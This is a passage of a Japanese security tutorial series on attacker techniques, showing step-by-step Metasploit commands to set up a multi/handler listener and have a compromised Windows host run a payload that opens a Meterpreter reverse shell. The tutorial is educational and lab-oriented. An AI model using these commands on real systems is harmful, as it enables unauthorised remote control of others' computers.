Metasploitによる「受動的攻撃」――侵略を拡大せよ：セキュリティ・ダークナイトライジング（5）（3/3 ページ）

「Metasploit Framework」を使って「攻撃者の手法」を解説する本連載。前回は、Metasploitを用いた「受動的な攻撃」により、攻撃対象のコンピューターを乗っ取る手順を紹介した。今回はさらに歩を進め、攻撃者が対象のコンピューターを「自分にとって都合の良い環境」に仕立て上げていくプロセスを解説しよう。

[辻伸弘（ソフトバンク・テクノロジー株式会社），＠IT] PC用表示関連情報

LINE

Hatena

前のページへ | 　　　　　　

接続の待ち受け開始

　まず、現在シェルを奪っているMetasploitはそのままにして、もう一つMetasploitを起動してほしい。そちらで「exploit/multi/handler」モジュールを使う。このモジュールは、こちらから攻撃対象のシェルを提供するポートに接続したり、逆にコネクトバックを待ち受けたりする際に利用するモジュールである。今回は、攻撃対象からコネクトバックをさせるため、接続を待ち受けるための設定を行う。

　使い方は今までのExploitモジュールと変わらないが、念のため、順を追って説明する。まずは、［use］でモジュールの選択をする。

use exploit/multi/handler

　次はペイロードの設定だ。「dkr05.exe」の作成方法の部分で少し説明したが、今回実行するEXEファイルは［windows/meterpreter/reverse_tcp］を設定して作成されているため、以下のようにペイロードを設定する。

set PAYLOAD windows/meterpreter/reverse_tcp

　次に、待ち受けするアドレスを［LHOST］で、待ち受けするポートを［LPORT］で設定する。

set LHOST 192.168.0.11
set LPORT 1337

※LHOSTの［IPアドレス］は、各自の環境に合わせて設定する。

　設定した値は、これまでと同様に、［show options］コマンドで確認することができる。

　それでは、［exploit］コマンドを実行し、コネクトバックの待ち受けを開始しよう。

exploit

　実行に成功すると、待ち受けが開始される。それでは次に、初めに起動していたMetasploitのウィンドウ、つまりシェルを奪取している状態のウィンドウに戻って、操作を行おう。

攻撃対象上のEXEファイルの実行。そしてコネクトバックへ

　攻撃対象上の「dkr05.exe」ファイルを、奪取したシェルから実行してみよう。

C:\Users\［ユーザー名］\Videos\dkr05.exe

※［ユーザー名］の部分は各自のログオンユーザー名に変更する。

　すると間もなく、「exploit/multi/handler」で待ち受けを開始していた方のウィンドウに、変化が起こるはずだ。下図のように「meterpreter >」というプロンプトが表示されていないだろうか。

　また、コマンドプロンプトで［netstat］を実行すると、［dkr05.exe］の実行前後で、TCPの1337番ポートの状態が［LISTENING］から［ESTABLISHED］に変わっているはずだ。接続が確立された状態になったことが分かる。

　なお、「meterpreter >」というプロンプトは、Metasploit独自のシェル「Meterpreterシェル」が利用可能になっていることを表している。このシェルにはさまざまな機能が用意されており、通常のシェルよりもはるかに使い勝手が良い。Meterpreterについての細かい説明は本稿では行わないが、最後に一つだけコマンドを実行してみてほしい。